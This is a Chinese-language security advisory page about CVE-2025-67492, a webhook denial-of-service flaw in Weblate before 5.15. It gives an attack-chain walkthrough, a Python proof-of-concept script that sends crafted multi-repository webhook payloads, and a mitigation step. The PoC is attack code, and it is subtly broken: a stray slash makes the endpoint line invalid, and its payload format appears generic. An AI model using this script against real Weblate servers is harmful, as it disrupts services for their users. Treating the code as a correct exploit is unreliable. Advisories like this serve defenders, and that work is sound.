IPBUF安全漏洞报告
English
CVE-2025-67492 CVSS 5.3 中危

CVE-2025-67492: Weblate 5.15之前版本Webhook拒绝服务漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-67492
漏洞类型
拒绝服务/资源消耗
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Weblate

相关标签

拒绝服务资源消耗WebhookWeblateCVE-2025-67492中危漏洞

漏洞概述

Weblate是一款开源的基于Web的本地化翻译管理平台。CVE-2025-67492漏洞存在于5.15之前的Weblate版本中,攻击者可以通过精心构造的webhook payload触发对多个代码仓库的更新操作。由于更新操作会消耗服务器资源(CPU、内存、网络带宽等),恶意攻击者可以利用此漏洞对目标服务器发起拒绝服务攻击,导致正常用户无法访问服务。该漏洞无需任何认证,攻击者只需向目标Weblate实例发送特制的webhook请求即可触发大量仓库更新流程,造成资源耗尽。

技术细节

Weblate的webhook功能允许外部系统(如Git仓库)触发翻译项目的自动更新。当接收到webhook请求时,Weblate会根据payload中的配置对指定的仓库执行git pull等更新操作。在漏洞版本中,系统未对webhook触发的仓库更新操作进行充分限制,攻击者可以构造包含多个仓库路径的payload,在单次请求中触发对大量仓库的更新操作。这些并发更新操作会占用大量系统资源,可能导致Weblate服务响应缓慢或完全不可用。攻击者可以通过自动化工具批量发送此类恶意webhook请求,实现对目标服务器的持续资源消耗攻击。

攻击链分析

STEP 1
步骤1
攻击者发现目标Weblate实例的webhook端点,通常位于/hooks/update/路径
STEP 2
步骤2
攻击者构造包含多个仓库组件信息的恶意webhook payload
STEP 3
步骤3
攻击者向目标服务器发送特制的POST请求,payload中包含触发多个仓库更新的指令
STEP 4
步骤4
Weblate服务器接收请求后,对payload中的所有仓库执行git pull等更新操作
STEP 5
步骤5
大量并发的仓库更新操作消耗服务器CPU、内存、网络带宽等资源
STEP 6
步骤6
资源耗尽导致Weblate服务响应缓慢或完全不可用,正常用户无法访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-67492 Webhook DoS PoC # Affected: Weblate < 5.15 # Description: Crafted webhook payload triggers excessive repository updates import requests import json import time TARGET_URL = "https://vulnerable-weblate-instance.com" WEBHOOK_ENDPOINT = f"{TARGET_URL}/hooks/update/"/ # Craft malicious webhook payload # This payload triggers updates for multiple repositories malicious_payload = { "component": [ {"slug": "component-1", "repo": "https://github.com/example/repo1"}, {"slug": "component-2", "repo": "https://github.com/example/repo2"}, {"slug": "component-3", "repo": "https://github.com/example/repo3"}, {"slug": "component-4", "repo": "https://github.com/example/repo4"}, {"slug": "component-5", "repo": "https://github.com/example/repo5"} ], "project": { "slug": "target-project", "repo": "https://github.com/example/project" } } def exploit(): """Send crafted webhook payload to trigger resource exhaustion""" headers = { "Content-Type": "application/json", "User-Agent": "Weblate-Hook" } print(f"[*] Sending malicious webhook payload to {TARGET_URL}") print(f"[*] Payload size: {len(json.dumps(malicious_payload))} bytes") try: response = requests.post( WEBHOOK_ENDPOINT, json=malicious_payload, headers=headers, timeout=30 ) print(f"[*] Response status: {response.status_code}") return response.status_code == 200 except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-67492 PoC - Weblate Webhook Resource Exhaustion") print("=" * 60) exploit()

影响范围

Weblate < 5.15

防御指南

临时缓解措施
作为临时缓解措施,可以通过设置环境变量ENABLE_HOOKS=false完全禁用Weblate的webhook功能,避免该漏洞被利用。但这会影响自动翻译更新等依赖webhook的功能,建议尽快升级到修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表